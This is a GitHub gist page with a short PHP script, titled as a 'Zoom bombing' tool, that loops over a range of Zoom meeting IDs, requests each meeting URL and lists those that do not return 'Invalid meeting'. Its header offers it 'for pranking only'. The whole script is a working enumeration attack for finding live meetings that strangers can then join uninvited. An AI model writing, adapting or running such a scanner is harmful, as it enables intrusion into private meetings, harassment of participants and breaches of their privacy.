Skip to content

Instantly share code, notes, and snippets.

@nekromoff
Last active April 3, 2020 17:26
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save nekromoff/48ec26cbaecc31fccb202d1efa7d0657 to your computer and use it in GitHub Desktop.
Save nekromoff/48ec26cbaecc31fccb202d1efa7d0657 to your computer and use it in GitHub Desktop.
Zoom bombing - identify Zoom existing meeting IDs
<?php
/*
Identify existing meetings/meeting IDs on Zoom.us call app
License: Public domain. Use for pranking only. Any other use prohibited.
https://gist.github.com/nekromoff/48ec26cbaecc31fccb202d1efa7d0657
*/
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
$meetings = [];
// set start ID to start checking from:
$start_id=8366428170;
// set end ID to stop checking at:
$end_id=8366428190;
for ($i = $start_id; $i <= $end_id; $i++) {
curl_setopt($ch, CURLOPT_URL, 'https://zoom.us/j/' . $i);
$content = curl_exec($ch);
if (stripos($content, 'Invalid meeting') !== false) {
continue;
}
$meetings[] = $i;
}
foreach ($meetings as $meeting_id) {
echo '<a href="https://zoom.us/j/'.$meeting_id.'">'.$meeting_id.'</a><br>';
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment